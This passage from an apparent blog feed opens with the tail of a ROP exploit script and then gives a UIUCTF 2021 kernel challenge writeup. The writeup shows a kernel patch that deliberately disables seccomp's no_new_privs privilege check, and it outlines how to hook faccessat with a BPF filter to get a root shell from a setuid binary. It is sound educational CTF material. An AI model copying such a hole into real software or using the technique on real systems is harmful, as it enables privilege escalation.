ropchain) # read() doesnt need a newline p.send(rop2) # We should be recieving some data over stdin, which uses the same socket as stdout for comms with the server. So # pretty much no difference between the 2. buf = p.recvall() # Clean output a lil printable = "" for b in buf: for c in string.printable: if b == ord(c): printable += chr(b) print(printable)]]></summary></entry><entry><title type="html">UIUCTF 2021 Insecure-Seccomp writeup</title><link href="https://volticks.github.io/insecure-seccomp-writeup/" rel="alternate" type="text/html" title="UIUCTF 2021 Insecure-Seccomp writeup" /><published>2021-08-06T00:00:00+00:00</published><updated>2021-08-06T00:00:00+00:00</updated><id>https://volticks.github.io/insecure-seccomp-writeup</id><content type="html" xml:base="https://volticks.github.io/insecure-seccomp-writeup/"><![CDATA[<h1 id="intro">Intro</h1>

<p>This writeup is pretty late, given that <a href="https://ctftime.org/event/1372">UIUCTC 21</a> ended a good few days ago, but now its here.</p>

<p>This was a first for me, and for my team-mate <a href="https://twitter.com/X3eRo0/">X3eRo0</a>; a kernel challenge in a live CTF environment. Although we both finished the kernel section of <a href="https://pwn.college/">pwn.college</a> this was a little different, as you’ll see.</p>

<h2 id="pre-requisites">Pre-requisites</h2>

<p>This writeup assumes that the reader knows what <code class="language-plaintext highlighter-rouge">seccomp</code> is, and what it does along with how it does it. If you don’t, reading through the <a href="https://man7.org/linux/man-pages/man2/seccomp.2.html">man page</a> a little will help with that understanding.</p>

<h2 id="what">What</h2>

<p>The challenge gives us links to a <code class="language-plaintext highlighter-rouge">handout.tar.gz</code> and <code class="language-plaintext highlighter-rouge">starter.c</code>. On extracting the handout, we are greeted with a <code class="language-plaintext highlighter-rouge">challenge</code> folder, and inside that folder are the following files:</p>

<p>` Dockerfile  kernel/  nsjail.cfg  src/ `</p>

<p>We are given a <code class="language-plaintext highlighter-rouge">Dockerfile</code>, <code class="language-plaintext highlighter-rouge">kernel/</code> directory, an nsjail configuration file and a <code class="language-plaintext highlighter-rouge">src/</code> folder. Building this in docker takes a long time, and quite a lot of disk space so if you want to you can skip that process completely and just use:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">stty </span>raw <span class="nt">-echo</span><span class="p">;</span> nc insecure-seccomp.chal.uiuc.tf 1337<span class="p">;</span> <span class="nb">stty</span> <span class="nt">-raw</span> <span class="nb">echo</span>
</code></pre></div></div>

<p>To connect to the remote service, IF its still up, that is. Anyway, looking in the dockerfile we can get some details about our challenge before even reading the source, in particular:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>COPY kernel/kconfig /kernel/linux-5.12.14/.config
COPY kernel/patch /tmp/kernel.patch
COPY kernel/CVE-2021-33909.patch /tmp/CVE-2021-33909.patch
RUN patch -p1 -d /kernel/linux-5.12.14 &lt; /tmp/CVE-2021-33909.patch
RUN patch -p1 -d /kernel/linux-5.12.14 &lt; /tmp/kernel.patch
</code></pre></div></div>

<p>Here we can see the some files, such as the <code class="language-plaintext highlighter-rouge">kconfig</code> which contains flags and build instructions for our kernel, and 2 other files, <code class="language-plaintext highlighter-rouge">patch</code> and <code class="language-plaintext highlighter-rouge">CVE-2021-33909.patch</code>. The latter provides a fix for a recent CVE, and is not relevant on our end, however the former is a bit more interesting:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diff --git a/init/main.c b/init/main.c                                                                                               
index 5bd1a25f1d6f..ee7dc4a65c08 100644
--- a/init/main.c
+++ b/init/main.c
@@ -1490,7 +1490,7 @@ void __init console_on_rootfs(void)
        struct file *file = filp_open("/dev/console", O_RDWR, 0);

        if (IS_ERR(file)) {
-               pr_err("Warning: unable to open an initial console.\n");
+               // pr_err("Warning: unable to open an initial console.\n");
                return;
        }
        init_dup(file);
diff --git a/kernel/seccomp.c b/kernel/seccomp.c
index 93684cc63285..e8574297803c 100644
--- a/kernel/seccomp.c
+++ b/kernel/seccomp.c
@@ -648,9 +648,9 @@ static struct seccomp_filter *seccomp_prepare_filter(struct sock_fprog *fprog)
         * This avoids scenarios where unprivileged tasks can affect the
         * behavior of privileged children.
         */
-       if (!task_no_new_privs(current) &amp;&amp;
-                       !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN))
-               return ERR_PTR(-EACCES);
+       // if (!task_no_new_privs(current) &amp;&amp;
+       //              !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN))
+       //      return ERR_PTR(-EACCES);

        /* Allocate a new seccomp_filter */
        sfilter = kzalloc(sizeof(*sfilter), GFP_KERNEL | __GFP_NOWARN);
</code></pre></div></div>

<p>In particular, look closely at these lines:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>* This avoids scenarios where unprivileged tasks can affect the
* behavior of privileged children.
*/
-       if (!task_no_new_privs(current) &amp;&amp;
-                       !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN))
-               return ERR_PTR(-EACCES);
+       // if (!task_no_new_privs(current) &amp;&amp;
+       //              !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN))
+       //      return ERR_PTR(-EACCES);
</code></pre></div></div>

<p>It looks like before our kernel is compiled, the <code class="language-plaintext highlighter-rouge">patch</code> command is used comment some lines out, but what is the significance of these lines? Well, googling <code class="language-plaintext highlighter-rouge">test_no_new_privs()</code> the first result is <a href="http://bricktou.cn/include/linux/schedtask_no_new_privs_en.html">this</a>, here we can see a function prototype and a description for what purpose this has:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="n">bool</span> <span class="n">task_no_new_privs</span><span class="p">(</span><span class="k">struct</span> <span class="n">task_struct</span> <span class="o">*</span><span class="n">p</span><span class="p">)</span>
</code></pre></div></div>

<p>The description states: <code class="language-plaintext highlighter-rouge">Determine whether a bit is set</code>. Of course this makes sense given the function returns a Boolean. Now lets look at the implementation. The latter also links to a source snipped, however our kernel version is different, so we can look <a href="https://elixir.bootlin.com/linux/v5.12.14/source/include/linux/sched.h#L1646">here</a> instead:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/* Per-process atomic flags. */</span>
<span class="cp">#define PFA_NO_NEW_PRIVS		0	</span><span class="cm">/* May not gain new privileges. */</span><span class="cp">
#define PFA_SPREAD_PAGE			1	</span><span class="cm">/* Spread page cache over cpuset */</span><span class="cp">
#define PFA_SPREAD_SLAB			2	</span><span class="cm">/* Spread some slab caches over cpuset */</span><span class="cp">
#define PFA_SPEC_SSB_DISABLE		3	</span><span class="cm">/* Speculative Store Bypass disabled */</span><span class="cp">
#define PFA_SPEC_SSB_FORCE_DISABLE	4	</span><span class="cm">/* Speculative Store Bypass force disabled*/</span><span class="cp">
#define PFA_SPEC_IB_DISABLE		5	</span><span class="cm">/* Indirect branch speculation restricted */</span><span class="cp">
#define PFA_SPEC_IB_FORCE_DISABLE	6	</span><span class="cm">/* Indirect branch speculation permanently restricted */</span><span class="cp">
#define PFA_SPEC_SSB_NOEXEC		7	</span><span class="cm">/* Speculative Store Bypass clear on execve() */</span><span class="cp">
</span>
<span class="cp">#define TASK_PFA_TEST(name, func)					\
	static inline bool task_##func(struct task_struct *p)		\
	{ return test_bit(PFA_##name, &amp;p-&gt;atomic_flags); }
</span>
<span class="cp">#define TASK_PFA_SET(name, func)					\
	static inline void task_set_##func(struct task_struct *p)	\
	{ set_bit(PFA_##name, &amp;p-&gt;atomic_flags); }
</span>
<span class="cp">#define TASK_PFA_CLEAR(name, func)					\
	static inline void task_clear_##func(struct task_struct *p)	\
	{ clear_bit(PFA_##name, &amp;p-&gt;atomic_flags); }
</span>
<span class="n">TASK_PFA_TEST</span><span class="p">(</span><span class="n">NO_NEW_PRIVS</span><span class="p">,</span> <span class="n">no_new_privs</span><span class="p">)</span>
</code></pre></div></div>

<p>Specifically, the definition is on the last line. Doesn’t much look like a function definition, does it? But it gets a bit clearer when you look at the macro being used:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define TASK_PFA_TEST(name, func)                    \
    static inline bool task_##func(struct task_struct *p)        \
    { return test_bit(PFA_##name, &amp;p-&gt;atomic_flags); }
</span></code></pre></div></div>

<p>It takes a <code class="language-plaintext highlighter-rouge">name</code> and a <code class="language-plaintext highlighter-rouge">func</code>, then based on that will use even more macros to stitch together a function name, we pass in <code class="language-plaintext highlighter-rouge">NO_NEW_PRIVS</code> as our <code class="language-plaintext highlighter-rouge">name</code>, and <code class="language-plaintext highlighter-rouge">no_new_privs</code> as our <code class="language-plaintext highlighter-rouge">func</code>, and based on that it will give us a function name of <code class="language-plaintext highlighter-rouge">task_no_new_privs</code>.</p>

<p>If we look inside the function, we can see that it is, in fact testing a bit. In this case <code class="language-plaintext highlighter-rouge">PFA_NO_NEW_PRIVS</code>, or ‘1’. So what is the purpose of this bit, exactly?</p>

<p>Again, by googling we can find <a href="https://unix.stackexchange.com/questions/562260/why-we-need-to-set-no-new-privs-while-before-calling-seccomp-mode-filter">this</a> answer on stack overflow. The gist is:</p>

<p>“The no_new_privs bit is a property of the process which, if set, tells the kernel to not employ privileges escalation mechanisms like SUID bit (so, invoking things like sudo(8) will not work at all), so it is safe to allow the unprivileged process with this bit set to use seccomp filters: this process will not have any possibility to escalate privileges even temporarily, thus, will not be able to “hijack” these privileges.”</p>

<p><code class="language-plaintext highlighter-rouge">seccomp</code> has a lot of features, one of which is the ability to skip a syscall, and set an arbitrary <code class="language-plaintext highlighter-rouge">ERRNO</code>/return value from said syscall. Look at this code, taken from the answer:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Make the `openat(2)` syscall always "succeed".</span>
<span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">seccomp</span><span class="p">,</span> <span class="n">SCMP_ACT_ERRNO</span><span class="p">(</span><span class="mi">0</span><span class="p">),</span> <span class="n">SCMP_SYS</span><span class="p">(</span><span class="n">openat</span><span class="p">),</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>

<p>Once this rule is applied, the <code class="language-plaintext highlighter-rouge">openat</code> syscall will return ‘0’ regardless of whether the file in question actually exists. This means that checks in the program that expect a ‘-1’ on failure will be invalidated and depending on the depth of error checking may just assume the file exists, when it in fact does not.</p>

<p>Now with that knowledge we can look back on the patched code from our kernel:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">-</span>       <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">task_no_new_privs</span><span class="p">(</span><span class="n">current</span><span class="p">)</span> <span class="o">&amp;&amp;</span>
<span class="o">-</span>                       <span class="o">!</span><span class="n">ns_capable_noaudit</span><span class="p">(</span><span class="n">current_user_ns</span><span class="p">(),</span> <span class="n">CAP_SYS_ADMIN</span><span class="p">))</span>
<span class="o">-</span>               <span class="k">return</span> <span class="nf">ERR_PTR</span><span class="p">(</span><span class="o">-</span><span class="n">EACCES</span><span class="p">);</span>
</code></pre></div></div>

<p>So, if the <code class="language-plaintext highlighter-rouge">no_new_privs</code> bit is NOT set (meaning the process to which the seccomp rule is being applied IS setuid/running under sudo) AND the current process was not started by root, <code class="language-plaintext highlighter-rouge">seccomp</code> will fail before loading the filter/rule, meaning that no meddling with the return value is possible where we may have something to gain from it.</p>

<p>But now remember the patch:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">+</span>       <span class="c1">// if (!task_no_new_privs(current) &amp;&amp;</span>
<span class="o">+</span>       <span class="c1">//              !ns_capable_noaudit(current_user_ns(), CAP_SYS_ADMIN))</span>
<span class="o">+</span>       <span class="c1">//      return ERR_PTR(-EACCES);</span>
</code></pre></div></div>

<p>This has been undone. Any process, regardless of setuid status will have the rule applied. This will be incredibly important moving forward, so don’t forget :).</p>

<h2 id="the-challenge">The challenge</h2>

<p>Now that we have covered all that, we can get to the challenge sources. Lets first take a look at <code class="language-plaintext highlighter-rouge">jail.c</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: Apache-2.0                                                                                               </span>
<span class="cm">/*
 * Copyright 2021 Google LLC.
 */</span>

<span class="cp">#define _GNU_SOURCE
</span>
<span class="cp">#include</span> <span class="cpf">&lt;grp.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">setgid</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">perror</span><span class="p">(</span><span class="s">"setgid"</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">setgroups</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">perror</span><span class="p">(</span><span class="s">"setgroups"</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">setuid</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">perror</span><span class="p">(</span><span class="s">"setuid"</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">putchar</span><span class="p">(</span><span class="sc">'\n'</span><span class="p">);</span>
        <span class="n">system</span><span class="p">(</span><span class="s">"/usr/bin/resize &gt; /dev/null"</span><span class="p">);</span>
        <span class="n">execl</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">,</span> <span class="s">"sh"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

        <span class="n">perror</span><span class="p">(</span><span class="s">"execl"</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This isn’t particularly special, just know that this is the source for the shell you receive when you interact with the remote service.
Now lets look at <code class="language-plaintext highlighter-rouge">seccomp_loader.c</code>, an interesting name for sure given what we know about the kernel:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: Apache-2.0                                                                                               </span>
<span class="cm">/*
 * Copyright 2021 Google LLC.
 */</span>

<span class="cp">#include</span> <span class="cpf">&lt;errno.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/filter.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;linux/seccomp.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/syscall.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">perror_exit</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="n">msg</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">perror</span><span class="p">(</span><span class="n">msg</span><span class="p">);</span>
        <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">static</span> <span class="kt">int</span> <span class="nf">seccomp</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">op</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">flags</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">args</span><span class="p">)</span>
<span class="p">{</span>
        <span class="n">errno</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
        <span class="k">return</span> <span class="n">syscall</span><span class="p">(</span><span class="n">SYS_seccomp</span><span class="p">,</span> <span class="n">op</span><span class="p">,</span> <span class="n">flags</span><span class="p">,</span> <span class="n">args</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
        <span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">num_insns</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">sock_filter</span> <span class="o">*</span><span class="n">insns</span><span class="p">;</span>
        <span class="k">struct</span> <span class="n">sock_fprog</span> <span class="n">prog</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">argc</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span>
                <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Usage: %s [command]</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
                <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">scanf</span><span class="p">(</span><span class="s">"%hu"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">num_insns</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span>
                <span class="k">goto</span> <span class="n">bad_format</span><span class="p">;</span>

        <span class="n">insns</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="n">num_insns</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">insns</span><span class="p">));</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">insns</span><span class="p">)</span>
                <span class="n">perror_exit</span><span class="p">(</span><span class="s">"calloc"</span><span class="p">);</span>

        <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">num_insns</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
                <span class="k">if</span> <span class="p">(</span><span class="n">scanf</span><span class="p">(</span><span class="s">" %hx %hhx %hhx %x"</span><span class="p">,</span>
                          <span class="o">&amp;</span><span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">code</span><span class="p">,</span>
                          <span class="o">&amp;</span><span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">jt</span><span class="p">,</span>
                          <span class="o">&amp;</span><span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">jf</span><span class="p">,</span>
                          <span class="o">&amp;</span><span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">k</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">)</span>
                        <span class="k">goto</span> <span class="n">bad_format</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">prog</span><span class="p">.</span><span class="n">len</span> <span class="o">=</span> <span class="n">num_insns</span><span class="p">;</span>
        <span class="n">prog</span><span class="p">.</span><span class="n">filter</span> <span class="o">=</span> <span class="n">insns</span><span class="p">;</span>

        <span class="k">if</span> <span class="p">(</span><span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_SET_MODE_FILTER</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">prog</span><span class="p">))</span>
                <span class="n">perror_exit</span><span class="p">(</span><span class="s">"seccomp"</span><span class="p">);</span>

        <span class="n">execv</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
        <span class="n">perror_exit</span><span class="p">(</span><span class="s">"execv"</span><span class="p">);</span>

<span class="nl">bad_format:</span>
        <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Bad format</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Whats this then? One of the ways you can apply <code class="language-plaintext highlighter-rouge">seccomp</code> rules to a program is via BPF. BPF is a relatively old feature of the Linux kernel, and for our purposes provides a programmable way to filter syscalls. Its alot deeper than that; it has its own JIT compiler in the kernel, and is also used across many projects to provide monitoring and filtering capabilities, but we’ll be focusing specifically on syscall filtering.</p>

<p>Anyway, <code class="language-plaintext highlighter-rouge">seccomp</code> has <code class="language-plaintext highlighter-rouge">SECCOMP_SET_MODE_FILTER</code> which we can use to apply BPF rules the same way we would apply regular rules. Since BPF is JIT compiled in the kernel, it has its own bytecode architecture; each instruction of this arch comes packed into a struct:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">sock_filter</span> <span class="p">{</span>    <span class="cm">/* Filter block */</span>
        <span class="n">__u16</span>   <span class="n">code</span><span class="p">;</span>   <span class="cm">/* Actual filter code */</span>
        <span class="n">__u8</span>    <span class="n">jt</span><span class="p">;</span>     <span class="cm">/* Jump true */</span>
        <span class="n">__u8</span>    <span class="n">jf</span><span class="p">;</span>     <span class="cm">/* Jump false */</span>
        <span class="n">__u32</span>   <span class="n">k</span><span class="p">;</span>      <span class="cm">/* Generic multiuse field */</span>
<span class="p">};</span>
</code></pre></div></div>

<p>You only have to look deep into the abyss if you want to, but you don’t particularly need to if you don’t want to, I know I didn’t - but if you do, take a look at:</p>

<ul>
  <li>https://www.collabora.com/news-and-blog/blog/2019/04/15/an-BPF-overview-part-2-machine-and-bytecode/</li>
  <li>https://www.youtube.com/watch?v=2lbtr85Yrs4</li>
</ul>

<p>All you need to know is this is how each BPF instruction is formatted. There is another strange type here, <code class="language-plaintext highlighter-rouge">sock_fprog</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">sock_fprog</span> <span class="p">{</span>	<span class="cm">/* Required for SO_ATTACH_FILTER. */</span>
	<span class="kt">unsigned</span> <span class="kt">short</span>		<span class="n">len</span><span class="p">;</span>	<span class="cm">/* Number of filter blocks */</span>
	<span class="k">struct</span> <span class="n">sock_filter</span> <span class="n">__user</span> <span class="o">*</span><span class="n">filter</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>

<p>This stores a list/array of <code class="language-plaintext highlighter-rouge">sock_filter</code>s, and as the name would suggest this structure is intended to store an entire BPF program, with many instructions.</p>

<p>Next some pretty nice stuff happens:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">scanf</span><span class="p">(</span><span class="s">"%hu"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">num_insns</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span>
        <span class="k">goto</span> <span class="n">bad_format</span><span class="p">;</span>

<span class="n">insns</span> <span class="o">=</span> <span class="n">calloc</span><span class="p">(</span><span class="n">num_insns</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">insns</span><span class="p">));</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">insns</span><span class="p">)</span>
        <span class="n">perror_exit</span><span class="p">(</span><span class="s">"calloc"</span><span class="p">);</span>

<span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">num_insns</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="n">scanf</span><span class="p">(</span><span class="s">" %hx %hhx %hhx %x"</span><span class="p">,</span>
                  <span class="o">&amp;</span><span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">code</span><span class="p">,</span>
                  <span class="o">&amp;</span><span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">jt</span><span class="p">,</span>
                  <span class="o">&amp;</span><span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">jf</span><span class="p">,</span>
                  <span class="o">&amp;</span><span class="n">insns</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">k</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">4</span><span class="p">)</span>
                <span class="k">goto</span> <span class="n">bad_format</span><span class="p">;</span>
<span class="p">}</span>

<span class="n">prog</span><span class="p">.</span><span class="n">len</span> <span class="o">=</span> <span class="n">num_insns</span><span class="p">;</span>
<span class="n">prog</span><span class="p">.</span><span class="n">filter</span> <span class="o">=</span> <span class="n">insns</span><span class="p">;</span>

<span class="k">if</span> <span class="p">(</span><span class="n">seccomp</span><span class="p">(</span><span class="n">SECCOMP_SET_MODE_FILTER</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">prog</span><span class="p">))</span>
        <span class="n">perror_exit</span><span class="p">(</span><span class="s">"seccomp"</span><span class="p">);</span>

<span class="n">execv</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="o">&amp;</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>
<span class="n">perror_exit</span><span class="p">(</span><span class="s">"execv"</span><span class="p">);</span>
</code></pre></div></div>

<p>Via <code class="language-plaintext highlighter-rouge">scanf()</code>, were given control over the entire <code class="language-plaintext highlighter-rouge">sock_fprog</code> and each <code class="language-plaintext highlighter-rouge">sock_filter</code>, we can also apply as many instructions as we want, as we control the <code class="language-plaintext highlighter-rouge">len</code> field of the struct. Our filter is then applied, and then we <code class="language-plaintext highlighter-rouge">execv</code> with our <code class="language-plaintext highlighter-rouge">argv[1]</code>. What this means is:</p>

<ul>
  <li>We control the entire BPF program.</li>
  <li>As seccomp filters also apply to children, we may apply this filter to any program we want by adding the path to <code class="language-plaintext highlighter-rouge">argv[1]</code></li>
  <li>Because of the kernel patch, we can apply this even to setuid binaries.</li>
</ul>

<p>You would assume, correctly, that BPF has all the capabilities of a regular seccomp rule/set of rules.</p>

<p>Now, are there any setuid programs here?</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">-r-sr-xr-x</span>    1 0        0            29008 Jul 30 22:20 exploit_me
</code></pre></div></div>

<p>Yes, yes there is. Shall we take a look next at <code class="language-plaintext highlighter-rouge">exploit_me.c</code>?</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// SPDX-License-Identifier: Apache-2.0                                                                                               </span>
<span class="cm">/*
 * Copyright 2021 Google LLC.
 */</span>

<span class="cp">#include</span> <span class="cpf">&lt;assert.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;fcntl.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span>
<span class="p">{</span>
        <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">faccessat</span><span class="p">(</span><span class="n">AT_FDCWD</span><span class="p">,</span> <span class="s">"/flag"</span><span class="p">,</span> <span class="n">R_OK</span><span class="p">,</span> <span class="n">AT_EACCESS</span><span class="p">))</span> <span class="p">{</span>
                <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"You can't be root to execute this! ... or can you?</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
                <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="n">setuid</span><span class="p">(</span><span class="n">geteuid</span><span class="p">());</span>

        <span class="n">execl</span><span class="p">(</span><span class="s">"/bin/sh"</span><span class="p">,</span> <span class="s">"sh"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
        <span class="n">perror</span><span class="p">(</span><span class="s">"execl"</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Pretty simple. If <code class="language-plaintext highlighter-rouge">faccessat</code> would not access the file <code class="language-plaintext highlighter-rouge">/flag</code> (or, if it where to just return a non-zero value) we will get a root shell, and from there we will be able to <code class="language-plaintext highlighter-rouge">cat /flag</code>. However how would this work? <code class="language-plaintext highlighter-rouge">faccessat</code> <em>should</em> always find <code class="language-plaintext highlighter-rouge">/flag</code>, because it exists? Right?</p>

<h1 id="exploitation">Exploitation</h1>

<p>This is a little different from what I’m used to, its not really binary exploitation, but more of a logic bug. Although this isn’t necessarily a bad thing; much less can go wrong when exploiting bugs like this, in fact almost nothing.</p>

<p>Anyway, exploitation is pretty straightforward:</p>

<ol>
  <li>Make a BPF filter to ‘hook’ the <code class="language-plaintext highlighter-rouge">faccessat</code> syscall, and make it return a nonzero value.</li>
  <li>Run <code class="language-plaintext highlighter-rouge">exploit_me</code> under <code class="language-plaintext highlighter-rouge">seccomp_loader</code> with this filter</li>
  <li>Get root, cat flag.</li>
</ol>

